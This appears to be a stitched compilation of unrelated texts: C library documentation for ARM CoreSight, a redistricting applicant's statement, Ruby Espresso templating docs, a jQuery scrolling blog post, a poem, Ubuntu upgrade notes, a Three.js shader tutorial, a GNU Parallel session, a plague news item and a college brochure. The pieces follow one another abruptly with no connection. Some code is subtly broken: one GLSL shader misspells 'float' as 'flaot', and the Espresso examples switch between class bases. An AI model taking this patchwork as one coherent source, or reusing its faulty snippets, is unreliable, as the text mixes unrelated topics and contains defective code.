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CoreSight Access Library
2.3
ARM CoreSight Access Library - on target CoreSight component control
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General types used within the CoreSight Access library API. More...
Macros | |
| #define | CS_ERRDESC ((void *)0) |
| For functions that return a device descriptor, CS_ERRDESC indicates an invalid device. | |
| #define | CS_PHYSFMT "08lX" |
| printf format for physical address | |
| #define | CS_VAFMT "08lX" |
| printf format for virtual address | |
| #define | CS_CPU_UNKNOWN ((cs_cpu_t)(-1)) |
| Device is affine to an unknown CPU. | |
| #define | CS_NO_CPU ((cs_cpu_t)(-2)) |
| Device is not affine to a CPU. | |
| #define | LIB_MAX_CPU_DEVICES 32 |
| Default define to set the size of a number of fixed device tables in the library. More... | |
Typedefs | |
| typedef void * | cs_device_t |
| Handle to CoreSight component. | |
| typedef unsigned long | cs_physaddr_t |
| Physical address Defines the size type for a physical address. More... | |
| typedef uint32_t | cs_virtaddr_t |
| Virtual address Defines size type for the virtual addresses - as used in the PC sampling code, and ETM address comparator programming. More... | |
| typedef int | cs_cpu_t |
| CPU index, from zero. More... | |
| typedef int | cs_atid_t |
| Trace source identifier on the ATB trace bus. More... | |
| typedef unsigned int | cs_power_domain_t |
| Power domain id for the device. More... | |
Enumerations | |
| enum | cs_devtype_t { DEV_UNKNOWN, DEV_ETM, DEV_ITM, DEV_STM, DEV_FUNNEL, DEV_REPLICATOR, DEV_ETF, DEV_ETB, DEV_TPIU, DEV_SWO, DEV_CTI, DEV_CPU_DEBUG, DEV_CPU_PMU, DEV_TS, DEV_ELA, DEV_MAX } |
| Device Type. More... | |
| enum | cs_reg_waitbits_op_t { CS_REG_WAITBITS_ALL_1 = 1, CS_REG_WAITBITS_ANY_1, CS_REG_WAITBITS_ALL_0, CS_REG_WAITBITS_ANY_0, CS_REG_WAITBITS_PTTRN, CS_REG_WAITBITS_END } |
| Enum type defining the bit operations for the cs_device_wait() function. More... | |
Device classes | |
These class definitions are used within the library to determine the function of individual devices. Some devices can have multiple associated classes. e.g. an ETM will have CS_DEVCLASS_SOURCE and CS_DEVCLASS_CPU as it is a trace source associated with a CPU. | |
| #define | CS_DEVCLASS_SOURCE 0x001 |
| Trace source. | |
| #define | CS_DEVCLASS_SINK 0x002 |
| Trace sink. | |
| #define | CS_DEVCLASS_DEBUG 0x004 |
| CPU debug interface. | |
| #define | CS_DEVCLASS_PMU 0x008 |
| CPU PMU interface. | |
| #define | CS_DEVCLASS_CTI 0x010 |
| Cross-trigger interface (CTI) | |
| #define | CS_DEVCLASS_LINK 0x020 |
| Trace link (funnel, ETF, replicator) | |
| #define | CS_DEVCLASS_CPU 0x040 |
| CPU. | |
| #define | CS_DEVCLASS_TIMESTAMP 0x080 |
| Timestamp generator. | |
| #define | CS_DEVCLASS_BUFFER 0x100 |
| Trace buffer. | |
| #define | CS_DEVCLASS_PORT 0x200 |
| External trace port (TPIU) | |
| #define | CS_DEVCLASS_SWSTIM 0x400 |
| Software trace (ITM, STM) | |
| #define | CS_DEVCLASS_ELA 0x800 |
| Logic Analyzer (Stygian, ELA-500) | |
| #define | CS_DEVCLASS_TRIGSRC 0x1000 |
| Generates triggers only, not trace. | |
General types used within the CoreSight Access library API.
| #define LIB_MAX_CPU_DEVICES 32 |
Default define to set the size of a number of fixed device tables in the library.
This will determine the size of certain library elements that have fixed size arrays. e.g. arrays of CPUs, CTIs etc.
This value can be set in the build environment to build a library suitable for larger devices with multiple core clusters.
| typedef int cs_atid_t |
Trace source identifier on the ATB trace bus.
Valid values are 1..119. Source ids should be unique within a connected trace topology - i.e. the set of all trace sources that can send trace to a single trace buffer or port. It is recommended that source ids are unique across the whole system.
| typedef int cs_cpu_t |
CPU index, from zero.
The choice of index is determined by the caller.
| typedef unsigned long cs_physaddr_t |
Physical address Defines the size type for a physical address.
If library compiled with LPAE
defined then this value will be large enough for the 40 bit LPAE extension addresses. See Building the Library for information on building the library.
| typedef unsigned int cs_power_domain_t |
Power domain id for the device.
Identifies which power domain a component is in. There is assumed to be some hierarchical nesting of power domains.
| typedef uint32_t cs_virtaddr_t |
Virtual address Defines size type for the virtual addresses - as used in the PC sampling code, and ETM address comparator programming.
Uses the stdint.h
types to explicitly define the virtual address length to enable us to compile for a v8 AARCH32 application, but "see" the 64 bit address samples in the core debug registers. Compile library with CS_VA64BIT
defined to enable 64 bit virtual address sizes. See Building the Library for information on building the library.
| enum cs_devtype_t |
Device Type.
Identifies the type of device. The type corresponds to the programmer's view - i.e. the register-based programming model exposed by the device.
Currently all kinds of ETMs are treated as the same device type even though there are separate architecture documents.
| enum cs_reg_waitbits_op_t |
Enum type defining the bit operations for the cs_device_wait() function.
| Enumerator | |
|---|---|
| CS_REG_WAITBITS_ALL_1 |
operation value for cs_device_wait() : wait for all bits in mask to go high |
| CS_REG_WAITBITS_ANY_1 |
operation value for cs_device_wait() : wait for any bit in mask to go high |
| CS_REG_WAITBITS_ALL_0 |
operation value for cs_device_wait() : wait for all bits in mask to go low |
| CS_REG_WAITBITS_ANY_0 |
operation value for cs_device_wait() : wait for any bit in mask to go low |
| CS_REG_WAITBITS_PTTRN |
operation value for cs_device_wait() : wait for bits to match pattern (both high and low bits) |
| CS_REG_WAITBITS_END |
End marker. Not a valid operation. |


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As a Board Member and Secretary of the Arvada Arts and Culture Commission, I participate in activities that ascertain artistic and cultural needs across the City, promote the work of local artists, and encourage public involvement to increase awareness of local arts and cultural events or displays.
A life-long student of politics and the workings of political systems, my work as a radio reporter and producer brought me to Colorado in March 1981. Since then, I have followed the social, political and economic changes and developments across this fascinating state. From the farmlands of Weld and Larimer County, to the majestic mesas and valleys of Mesa, Delta and Montrose, I have reported on agricultural land use, unending challenges of rural electrification and health care, economic development in towns both booming and struggling, and the workings of city, county and state governments from Fort Collins and Denver to Glenwood Springs and Grand Junction, as “River City” recovered from “Black Sunday”. In 2021, I will be a 40-year resident of Colorado, with an ongoing interest in this dynamic and evolving state. If selected, it will be my goal to assure that people across Colorado find themselves in election districts that are fairly created, with boundary lines considered reasonable by a consensus of commission members; as politically-balanced as possible. All attempts should be made to avoid gerrymandered districts, which only serve the interests of one political party or agenda.
Note, my first and only political contributions listed in the previous section were all made in 2020. They should not be associated in any way with my career as a Reporter/Producer for public radio stations (1979 – 1997). As a radio reporter in Philadelphia, Fort Collins, Grand Junction and across Western Colorado, I reported on city and regional politics, and the issues affecting public policy. I often reported on “pros and cons”; the “back and forth” of numerous topics, which usually resulted in some sort of consensus being reached by a City Council or other governing body. In essence, I understand the ways of compromise and how political consensus is reached. Regarding fairness, my goal as a reporter was to always include multiple viewpoints on the issue at hand. That is the only way to produce an objective report as well as a report that was most engaging for listeners. This basic premise of journalism was always the way I proceeded when producing a story. I think the same principles of exploring as many options as possible for drawing district boundaries should apply with the task of redistricting.
I know the value of having solid evidence in front of me before making critical decisions. In a newsroom, a good reporter should not proceed with a story that is one-sided and poorly researched. The same principle applied with my work as a Contracting Officer and Grants Specialist at the Department of Energy’s Golden Field Office. It was there while serving on the Geothermal Research team (from 2009 – 2012) that I was part of a team of people who evaluated hundreds of grant applications for the Department’s multi-billion-dollar renewable energy research grant effort. By incorporating the expertise of scientists, who evaluated the technical merits of a grant application, with a rigorous economic evaluation of each applicant’s proposal, the Department of Energy was then able to score each proposal on both technical and financial merit. Our “merit review process” usually produced successful research grants. It is how relevant analysis is applied to a complex grant selection process, involving Federal tax dollars. In the challenges faced when creating viable representative districts, a mutually agreed-to set of standards, like the Department of Energy’s merit review process, should be adopted by commissioners. Standards should include the demographic composition of population centers and rural areas across Colorado, with attention paid to items such as population densities, and the economic status and other demographic features of people in given areas. In order to apply a logical method to the commission’s work, there must be mutual buy-in among commission members for basic criteria or standards that are set.
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Template engine can be set globally, at class level, then inside actions you simply call render
and counterparts.
This way you can change your engine for an entire app with minimal impact, without refactoring a single action.
By default Espresso uses ERB template engine.
Example: - Set :Erubis for current controller
class App < E # ... engine :Erubis end
Example: - Set :Haml for an entire slice
module App class News < E # ... end class Articles < E # ... end end app = App.mount do engine :Haml end app.run
If engine requires some arguments/options, simple pass them as consequent params.
Just like:
engine :SomeEngine, :some_arg, :some => :option
Example: - Set default encoding
engine :Erubis, :default_encoding => Encoding.default_external
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Espresso will use the default file extension of current engine(.haml for Haml, .erb for ERB etc)
To set a custom extension, use engine_ext
.
Example:
class App < E # ... engine :Erubis engine_ext :xhtml end
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By default, Espresso will look for templates in "view/" folder, inside your app root.
If that's not your case, use view_path
to inform Espresso about correct path.
Example:
class Cms < E view_path 'base/view' def index # ... render # this will render base/view/cms/index.erb end def books__free # ... render # this will render base/view/cms/books/free.erb end end
For cases when your templates are placed out of app root
you should provide absolute path to templates by using view_fullpath
:
class News < E view_fullpath File.expand_path('../../../shared-templates', __FILE__) # ... end
IMPORTANT: As of version 0.4 Espresso will use underscored controller name to resolve path to templates. Before 0.4 base URL were used for this:
class Cms < E map '/pages' def index render # on 0.4+ will render "view/cms/index.erb" # before 0.4 - "view/pages/index.erb" end end
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By default, Espresso will look for layouts in same folder as templates, i.e., in "view/"
Use layouts_path
to set a custom path to layouts.
The path should be relative to templates path.
Example: - Search layouts in "view/layouts/"
class App < Ruby # ... layouts_path 'layouts/' end
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By default no layouts will be searched/rendered.
You can instruct Espresso to render a layout by using layout
Example: - All actions will use :master layout
class App < Ruby # ... layout :master end
Example: - Only :signin and :signup actions will use :member layout
class App < Ruby # ... setup :signin, :signup do layout :member end end
To make some action ignore layout rendering, use layout false
Example: - All actions, but :rss, will use layout
class App < Ruby layout :master setup :rss do layout false end end
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To render the template of current action, simply call render
or render_partial
without arguments.
class App < E map 'news' view_path 'base/views' layout :master engine :Haml def some_action # ... render # will render base/views/news/some_action.haml, using :master layout end def some__another_action # ... render_partial # will render base/views/news/some__another_action.haml, without layout end end
=== Important === Template name should exactly match the name of current action, including REST verb, if any.
def get_latest render # will try to render base/views/news/get_latest.haml end def post_latest render # will try to render base/views/news/post_latest.haml end
Also, if current action called with a specific format, template name should contain it.
class App < E map '/' format '.xml', '.html' def post_latest render # on /latest it will render view/post_latest.erb # on /latest.xml it will render view/post_latest.xml.erb # on /latest.html it will render view/post_latest.html.erb end end
To render a template by name, pass it as first argument.
class App < E engine :Haml def index render_partial 'some_action.xml' # will render base/views/news/some_action.xml.haml render :some__another_action # will render base/views/news/some__another_action.haml render 'some-template' # will render base/views/news/some-template.haml render_p 'some-template.html' # will render base/views/news/some-template.html.haml end end
Scope and Locals can be passed as arguments.
The scope is defaulted to the current controller and locals to an empty Hash.
Example:
class App < E def some_action render Sandbox.new(params) # will render template within custom scope render :foo => :bar # will add `foo` for local variables inside template render Sandbox.new(params), :foo => :bar # custom scope with additional local variables # render given template within custom scope with additional local variables render 'template-name', Sandbox.new(params), :foo => :bar end end
As extension will be used the explicitly defined extension or the default extension of used engine.
Layout
Engine
As engine will be used the effective engine for current action.
Inline rendering
If block given, template will not be searched.
Instead, the string returned by the block will be rendered.
This way you'll can render data from DB directly, without saving it to a file.
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render_layout
will render the layout of current action or an arbitrary layout file.
Render the layout of current action
render_layout { 'some string' }
Render the layout of current action within custom scope
render_layout Object.new do 'some string' end
Render the layout of current action within custom scope and locals
render_layout Object.new, :some_var => "some val" do 'some string' end
Render an arbitrary file as layout
render_layout 'layouts/master' do 'some string' end
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Any of render
, render_partial
and render_layout
methods has ad hoc counterparts,
like render_haml
, render_erb_partial
, render_liquid_layout
and so on.
Works exactly as other rendering methods except they are using a custom engine and extension.
Used when you need to "quickly" render a template, without any previous setups.
render_haml # will render the template and layout of current action using Haml engine render_haml_p # will render only the template of current action using Haml engine render_haml_l # will render only the layout of current action using Haml engine
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Espresso is building the path to templates as follow:
view path / controller's name / action name or given template
class Index < E map '/' def index render # will render ./view/index/index.erb end def header render_partial 'banner' # will render ./view/index/banner.erb end end
Note: before 0.4 base URL were used instead of controller name.
If your templates are located in a folder different from your controller name,
use view_prefix
to set correct path:
class Index < E map '/' view_prefix '/' def index render # will render ./view/index.erb instead of ./view/index/index.erb end def header render_partial 'banner' # will render ./view/banner.erb instead of ./view/index/banner.erb end end
As you can see, Espresso will automatically add file extension,
based on value defined via engine_ext
or engine's default extension.
To render a template by full name, use render_file
:
class Index < E map '/' def index render_file 'banners/top.xhtml' # will render ./view/banners/top.xhtml render_partial 'banners/top # will render ./view/index/banners/top.erb end end
Please note that render_file
renders templates without layout.
It is also possible to render layouts by full name:
render_layout_file 'layouts/_header.html.haml' do some content end # will render ./view/layouts/_header.html.haml
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For most web sites, most time are spent at templates rendering.
When rendering templates, most time are spent at files reading and templates compilation.
You can skip these expensive operations by using built-in compiler.
It will simply store compiled templates in memory and on consequent requests will just render them, avoiding filesystem calls for reading and CPU time for compiling templates.
To use compiler you should simply set compiler_pool
at app level:
class App < E # actions here will use view compiler end app = EspressoApp.new do compiler_pool Hash.new mount App end app.run
To clear compiled templates call clear_compiler!
.
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I am currently working on a website that requires some scrollable elements on it. The design specification is to do away with the scroll bars to allow for a better more simplistic design. Now I remember this being done in the past in flash, but I wasn’t going to be using flash. So naturally I went out to find a jQuery solution. In most cases doing a google search or stackoverflow search finds some code that needs some tweaking and then away we go, but this time I couldn’t find anything! So I created my own and thought I would share it.
Go straight to the demo: http://jsbin.com/azoji3
Full Source Code: http://jsbin.com/azoji3/edit
An Example illustration:
I got my inspiration from this question: http://stackoverflow.com/q/1193414/359736
First up is the mousedown event to capture the clicking of the down arrow. This will call the function that will actually scroll down the div and it also keeps track of the mousedown.
$('.dn').mousedown(function(event) { mouseisdown = true; ScrollDown(); }).mouseup(function(event) { mouseisdown = false; });
This is where the fun comes in, this part is recursive (I know everyone loves recursion!). This is so you can hold down the mouse and keep it scrolling continuously. It will also check when it reaches the bottom.
function ScrollDown(){ //var topVal = $('.up').parents(".container").find(".content").css("top").replace(/[^-\d\.]/g, ''); var topVal = $(".content").css("top").replace(/[^-\d\.]/g, ''); topVal = parseInt(topVal); console.log($(".content").height()+ " " + topVal); if(Math.abs(topVal) < ($(".content").height() - $(".container").height() + 60)){ //This is to limit the bottom of the scrolling - add extra to compensate for issues $('.up').parents(".container").find(".content").stop().animate({"top":topVal - 20 + 'px'},'slow'); if (mouseisdown) setTimeout(ScrollDown, 400); }
Mouse scrolling
Now I also wanted the user to be able to scroll the mouse and it scroll the content. To enable the detection of scrolling in jquery, it requires the library from here http://github.com/brandonaaron/jquery-mousewheel. Then I did the same scrolling action as above.
$('.container').mousewheel(function(event, delta, deltaX, deltaY) { // console.log('mouse'+ delta, deltaX, deltaY); if(delta < 0){ //Scroll down var topVal = $('.up').parents(".container").find(".content").css("top").replace(/[^-\d\.]/g, ''); console.log('lol'); topVal = parseInt(topVal); $('.up').parents(".container").find(".content").stop().animate({"top":topVal + (deltaY * 10) + 'px'},'slow'); } if(delta > 0){ //Scroll up var topVal = $('.up').parents(".container").find(".content").css("top").replace(/[^-\d\.]/g, ''); topVal = parseInt(topVal); $('.up').parents(".container").find(".content").stop().animate({"top":topVal - (-deltaY * 10) + 'px'},'slow'); } });
I know its not the most optimized code and could do with some better selectors but I am very happy with it at the moment that it will do the job and be a part of this exciting website im working on. Feel free to make comments or ask questions, and suggestions are welcome and ill be updating this with any tweaks I can find.


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I created my midterm project in front end technologies including css3, html5, and vanilla javascript. I avoided using any libraries for animations, layout configuration and the sort.
Each view has three files for the view due to the nature of front end technologies:
Both views share ONE model.js and controller.js, found in the root directry. Both views also share a "resource" folder.
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I wake up and,
Oh.
The blurriness,
The sight,
The vision!
I may be crazy but
What would be of life
Without a shining sun?
Look at it,
Stare at it.

Close the eyes and
All the footprints,
Vivid, glowing:
The caressing of the spirit,
The flow between rivers,
The bite for the blood,
The heat of the heart,
The whispers of the fire.
They're all here,
For you,
With you.


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ubuntu1204to1404
2014-09-08
####Ubuntu 12.04 to Ubunut 14.04 upgradation####
fellow@dhcppc3:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.3 LTS Release: 12.04 Codename: precise
fellow@dhcppc3:~$ uname -r
3.5.0-44-generic
1. /boot foldeer is full, free some space to continue upgrade. This isssue was solved by this. Importatnly the command dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
shows the absolute kernals in /boot to be removed.
- There is a bug related with samba expalined here


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mnmlist : 02.2010 : clear distractions (doing)
When it comes to minimalism in doing, distractions are the biggest obstacle.
We must first identify what’s most important to us, what we’re passionate about, what we want to spend our time on. And then we must focus on those things first.
But the distractions. They get in the way of this focusing, no?
 Without all the actual bloodiness, you know.
Without distractions, you’ll be able to focus. You’ll find peace. You’ll find time for doing what you love.
Here’s how:- Cut back your social networking to network (or two at the most) – including Twitter, Facebook, MySpace, forums, etc. These are hugely distracting.
- Cut back on your social networking “friends”. Stick to your actual friends and colleagues. Networking with thousands of people you don’t know is superficial and distracting.
- Limit time on social networking, email to specified periods. Set the times you allow yourself to do these activities – from 1-2 p.m., for example.
- Do less email. Start by sending less. Check email less often. Use the phone or face-to-face conversations when possible.
 Disconnect, and work without distractions.
- Separate consuming from creating. Reading and networking and emailing are different from actually creating. Do them at separate times.
- Set a limited reading time. If you read a lot on the web, or RSS feeds, set limits and do it at specified times.
 Email, Blackberry, IM, whatever.
- Clear away icons on your desktop. File them all in one folder, and use an app launcher such as LaunchBar or Launchy.
- Clear your actual desk.
- Use music to block out your surroundings.
- Get away from the computer, spend time with actual people.
 Seriously.
- Single-task and focus.
- Focus on the most important tasks first, before you get distracted.
- Set limits on your work hours. If your time is limited, you’ll find ways to make the most of that limited time.


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ca.ualberta.cs.scandaloutraveltracker.models
public class UserList extends SModel
| Constructor and Description |
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UserList(boolean test)
Constructor used for testing purposes
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| Modifier and Type | Method and Description |
|---|---|
void |
addUser(User user) |
int |
createUser(java.lang.String name)
Takes all the values that a User can have and creates the user
within the UserMapper (user is saved) and returns the newly created
users ID.
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void |
deleteUser(int userId)
Deletes the user associated with the userID.
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int |
getCount() |
User |
getUser(int userPos)
Get user from the user list that is associated with userPos.
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static UserList |
getUserList()
Uses lazy initialization and won't create the userList until it
is needed to be created by the app.
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name
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public void addUser(User user)
user
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userId
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A basic crash course in 3D Graphics requires the whole day (and probably even more)!
Javascript API to access GPU features
Not intrusive for web pages, it's just a <canvas> element!
Built from the same people responsible for OpenGL
Strictly based around OpenGL ES 2.0 API...
...but this means it shares the complexity too!
A Javascript library for 3D Graphics inside the Browser
Wraps WebGL (and more!) under the hood, but provides higher level utilities
Built to be easy to use and to work everywhere
Website: http://threejs.org/
Lots of alternatives but Three.js is the standard de facto
Development is still pretty active
Lots of tutorial/examples/community driven content
Exposes high level concepts to work with (Scene, Geometry, Camera, Lights, Materials, ...)
Lots of support by the community (Mesh/Texture/Material exporter for common 3D Graphics tools)
We create a Renderer and attach its canvas to the page
renderer = new THREE.WebGLRenderer({ antialias: true }); renderer.setSize(window.innerWidth, window.innerHeight); document.body.appendChild(renderer.domElement);
You can see the Renderer as your GPU!
Then we need a camera to look from
// Params: (field_of_view, aspect_ratio, near_plane, far_plane) camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
Create something to render
geometry = new THREE.BoxGeometry(1, 1, 1); material = new THREE.MeshBasicMaterial({ color: 0x00ff00 }); cube = new THREE.Mesh(geometry, material);
And a scene to contain everything
scene = new THREE.Scene(); scene.add(cube);
And finally draw it
renderer.render(scene, camera);
We need a clock to measure the time passing
clock = new THREE.Clock();
Then we can rotate our cube based on the time
var delta = clock.getDelta(); cube.rotation.x += 1.0 * delta; cube.rotation.y += 0.7 * delta;
But how do we render interactively?
Don't use a while loop (just don't)
while (true) renderer.render(scene, camera);
Don't use setTimeout either
setTimeout(render, 1000 / 60);
The browser know what to do and when!
function render() { requestAnimationFrame(render); renderer.render(scene, camera); };
There is a predefined loader for common image format
var loader = new THREE.TextureLoader();
It tells you when it is done loading
loader.load('path/to/image.jpg', function(texture) { var geometry = new THREE.BoxGeometry(1, 1, 1); var material = new THREE.MeshBasicMaterial({ map: texture }); cube = new THREE.Mesh(geometry, material); scene.add(cube); render(); });
Create a light and add it into the scene
light = new THREE.DirectionalLight(0xffffff, 0.8); light.position.set(1, 1, 1); scene.add(light);
A basic material doesn't respond to light though
Lets change it with something more useful
var material = new THREE.MeshPhongMaterial({ color: 0x00ff00, specular: 0xffffff, shininess: 120 });
And we have Spot light and Point light too!
Tell Three.js we want shadows too
renderer.shadowMap.enabled = true; renderer.shadowMap.type = THREE.PCFSoftShadowMap;
And decide who cast and who receive shadows
cube.castShadow = true; plane.receiveShadow = true;
And finally enable shadows computation for your light
light.castShadow = true; light.shadow.mapSize.width = 1024; light.shadow.mapSize.height = 1024;
It's a program that runs on the GPU
There are six types, but we will introduce only two:
Vertex and Fragment shader
The language is called GLSL and is C-Like
Every graphics API has its own language, but the concepts are the same
It gets executed for each vertex composing the mesh
Decides where to draw the object in the space
His task is to project everything to the screen in the end
Here is the most simple vertex shader:
<script id="vertex" type="text/x-glsl-vert"> void main() { vec4 mvPosition = modelViewMatrix * vec4(position, 1.0); gl_Position = projectionMatrix * mvPosition; } </script>
It gets executed for each fragment the projected mesh is covering on the screen
Decides the color of the pixels on the screen
Here is the most simple fragment shader:
<script id="fragment" type="text/x-glsl-frag"> void main() { gl_FragColor = vec4(1.0, 0.0, 1.0, 1.0); } </script>
Three.js allows custom shaders through the ShaderMaterial
The most basic setup just requires the two shader sources
material = new THREE.ShaderMaterial( { vertexShader: document.getElementById('vertex').textContent, fragmentShader: document.getElementById('fragment').textContent });
Three.js adds for you everything else you need including the variables containing all the scene information
We want our calculation to depend on same values
(eg. time, colors, lights position and direction)
A Uniform is a variable which gets set from the application and stay constant (aka Uniform) along the entire draw call
uniform float time; uniform vec3 color; uniform mat4 camera_transform;
It is visible throughout the entire rendering process so every shader can use his value
Three.js allows you to define which uniforms you want to get passed to your shader
material = new THREE.ShaderMaterial({ uniforms : { time : { type: "f", value: 1.0 }, position : { type: "v3", value: new THREE.Vector3(0, 0, 0) } }, vertexShader : document.getElementById('vertex').textContent, fragmentShader : document.getElementById('fragment').textContent });
And we can update his value at any time (eg. every frame)
material.uniforms.time.value = time;
<script id="vertex" type="text/x-glsl-vert"> uniform float time; void main() { vec4 mvPosition = modelViewMatrix * vec4(position, 1.0); mvPosition.y += sin(time / 500.0 + mvPosition.x / 2.0); mvPosition.x += cos(time / 500.0 + mvPosition.y / 2.0); gl_Position = projectionMatrix * mvPosition; } </script>
<script id="fragment" type="text/x-glsl-frag"> uniform vec2 size; void main() { float r = gl_FragCoord.x / size.x; flaot b = gl_FragCoord.y / size.y; gl_FragColor = vec4(r, 0.0, b, 1.0); } </script>
Lets try with a point light this time
<script id="vertex" type="text/x-glsl-vert"> uniform float time; varying vec3 world_position; varying vec3 world_normal; void main() { vec4 mvPosition = modelViewMatrix * vec4(position, 1.0); gl_Position = projectionMatrix * mvPosition; world_normal = normalMatrix * normal; world_position = (viewMatrix * vec4(position, 1.0)).xyz; } </script>
<script id="fragment" type="text/x-glsl-frag"> uniform vec2 size; varying vec3 world_position; varying vec3 world_normal; void main() { vec3 light_position = vec3(0.0, 2.0, -10.0); vec3 color = vec3(1.0, 0.0, 1.0); vec3 light_direction = normalize(light_position - world_position); float NdotL = max(dot(world_normal, light_direction), 0.0001); gl_FragColor = vec4(color * NdotL, 1.0); } </script>
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knitractive::start("bash",
prompt = tmuxr::prompts$bash,
docker_image = "ubuntu:bionic",
session_width = 100,
session_height = 16)
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$ apt-get install -y parallel
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$ parallel --citation
Academic tradition requires you to cite works you base your article on.
When using programs that use GNU Parallel to process data for publication
please cite:
@article{Tange2011a,
title = {GNU Parallel - The Command-Line Power Tool},
author = {O. Tange},
address = {Frederiksberg, Denmark},
journal = {;login: The USENIX Magazine},
month = {Feb},
number = {1},
volume = {36},
url = {http://www.gnu.org/s/parallel},
year = {2011},
pages = {42-47},
doi = {http://dx.doi.org/10.5281/zenodo.16303}
}
(Feel free to use \nocite{Tange2011a})
This helps funding further development; AND IT WON'T COST YOU A CENT.
If you pay 10000 EUR you should feel free to use GNU Parallel without citing.
If you send a copy of your published article to<EMAIL_ADDRESS>it will be
mentioned in the release notes of next version of GNU Parallel.
Type: 'will cite' and press enter.
> will cite
Thank you for your support. It is much appreciated. The citation
notice is now silenced.
$ seq 3 | parallel --bar 'sleep 1'


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#include <stokes_3D.h>
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| BoundedMatrix< double, TNumNodes, TDim > | vnn |
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| BoundedMatrix< double, TNumNodes, TDim > | DN_DX |
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| Vector | stress |
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◆ bdf0
template<unsigned int TNumNodes, unsigned int TDim>
◆ bdf1
template<unsigned int TNumNodes, unsigned int TDim>
◆ bdf2
template<unsigned int TNumNodes, unsigned int TDim>
template<unsigned int TNumNodes, unsigned int TDim>
◆ DN_DX
template<unsigned int TNumNodes, unsigned int TDim>
◆ dyn_tau_coeff
template<unsigned int TNumNodes, unsigned int TDim>
template<unsigned int TNumNodes, unsigned int TDim>
template<unsigned int TNumNodes, unsigned int TDim>
template<unsigned int TNumNodes, unsigned int TDim>
template<unsigned int TNumNodes, unsigned int TDim>
◆ rho
template<unsigned int TNumNodes, unsigned int TDim>
◆ stress
template<unsigned int TNumNodes, unsigned int TDim>
template<unsigned int TNumNodes, unsigned int TDim>
◆ vn
template<unsigned int TNumNodes, unsigned int TDim>
◆ vnn
template<unsigned int TNumNodes, unsigned int TDim>
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SHANGHAI: Chinese health officials say the risk of an outbreak of pneumonic plague is minimal after two new cases were confirmed in the capital Beijing this week, the official China Daily reported on Thursday.
Health authorities in the Beijing district of Chaoyang announced on Tuesday that two patients from Inner Mongolia had been diagnosed with the highly infectious and often fatal disease and had been put in quarantine.
The Chinese Center for Disease Control and Prevention said all the people at risk of being exposed to the plague have been traced and treated, and hospitals have also stepped up monitoring of anyone showing similar symptoms.
Pneumonic plague is a lung disease spread by rats, with fatality rates in humans close to 100per cent if left untreated, Beijing health authorities said in a notice. Outbreaks in China have been rare in recent years.
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Usha Rama College of Engineering and Technology, established by Usha Rama Educational Academy, with the aim of inculcating quality education to students and produce young technocrats having good knowledge. The college is approved by AICTE and affiliated to JNTU-Kakinada. It is sponsored by Chicago based Multi Million Dollar Advansoft group.
Advansoft Group made an extensive study of the functioning of premier educational institutions in India and abroad and had an extensive consultation with Industry, academicians and scholars, the efforts of which finally culminated in laying the foundation for the college in 2008. Even before the college commenced its functioning, an elaborate plan was drawn up for acclimatizing and absorbing the students predominantly hailing from a rural background, into an environment demanding learning of frontier technologies.
The Trust comprises a team of highly respected professionals in the field of Academics, Management and Industry, dedicated to creating an Institution imparting quality education. Usha Rama College of Engineering and Technology Trust is well supported by a governing body and an academic advisory council consisting of eminent academicians and professors with decades of experience in premier Institutions.
URCE has within a short span of time emerged as one of the premier professional Institutions in this region. The Institute maintains high standards of education by providing a wide array of world-class academic facilities, employing highly qualified and experienced faculty members and creating an ambience that is conducive to quality education. Today, URCE offers
Our Vision & Mission :
The vision of the institute is to become pioneer institute in education and research. Its mission is to confer the best technical education to students with commitment to enable the students to face the challenging environment and cut-throat competition in the global world.
College has air conditioned central library with Digital facility. It has huge volumes of books, magazines, national, international journals and also CD'S & DVD's .It has reference and periodical section. It consists standard text books by reputed authors. It has separate rooms for group discussion and research work. It has seating capacity of more than hundred.Books are the best means to enhance the knowledge of the individual. Keeping this in view we maintain a spacious library with more than 11,000 volumes, 2,442 Titles, 65 National & International Journals and 897 Compact Disks.
The lab is equipped with SIX DELL servers and Four Hundread clients. All application and system software are official versions. Internet connectivity is provided to the campus by 25MBPS EXCEL BroadBand Dedicated line. All the systems in the campus are connected to the server.
Separate hostels are provided for boys and girls. Hygenic food is provided to the students. CC cameras have been installed in the hostel corridors. Attached washrooms are provided in the girls hostel. All the necessary facilities are provided to make them feel like home.
The college provides good transportation covering all the routes of Vijayawada, at subsidized fares to reduce the burden on the students. This reduces the risk of depending on the other means of public transportation.
USHA RAMA College of Engineering & Technology, established a well structured Training and Placement cell which is an integral part of the Institution. The institute has complete infrastructure for effective functioning of the Training and Placement cell. Training activities are carried out throughout the year at regular intervals. The Training and Placement cell aims at improving the scope of the student towards becoming a corporate citizen. It prepares the students for the campus selections prospectively. It is committed to enrich the student's potential to find employment in the renowned companies.
Our T&P cell is headed by an experienced Training and Placement Officer and is well supported by both faculties as well as student placement coordinators from all the departments. The main objective of T&P cell is to assist the students by arranging pre-placement talks, written tests, group discussions, personal interviews, Role-plays, JAM sessions, industrial visits, training for soft skills etc.
As a prime activity, the placement cell coordinates quite well with the corporate sector in convincing them for frequent visits to the campus. Confirmations have been received for renowned companies & industries of repute across the country to visit our institute for the campus recruitment programs. Since its inception it started acting as a bridge between industry and academia.
Training and Placement Cell Goals and Objectives :
The college has established Training and Placement Cell, Counseling and guiding of students, industrial training during vacation, organizing campus interviews, providing job market information to students and necessary inputs to face the interviews, organizing Guest Lectures and Campus Selections, arranging industrial training for students, arranging industrial internships for faculty are some of the activities of the Training & Placement Cell. Organize training programs on all the upcoming trends and technologies related placement activity. Training programs are held in three Tyre architecture to bridge the skill gap of students,. The College has a separate Training and Placement Cell, which invites various companies in all branches of Engineering.
The college has established a separate department to take care of the certified courses of IBM, Microsoft, Intel Inside, TATA Technologies, SAP. Every year 500 students will be made part in certified course training Program.
Functions of the T&P Cell :
Also our T&P Cell acted as a directing element for our campus's well-developed infrastructure in facilitating the campus selection programs. The cell maintains a very cordial relationship with all the recruiting industries and also prepares the candidates who are recruited to face the challenges in the corporate world. Apart from this the training and placement cell invites industry professionals to interact with students in order to identify the emerging opportunities in the world of commerce.
The mission of the Training and Placement cell at USHA RAMA is to provide placement opportunities & higher educational guidance to the students in line with their competencies and to help them in finding the best fit at the industry as per their interest & skills.
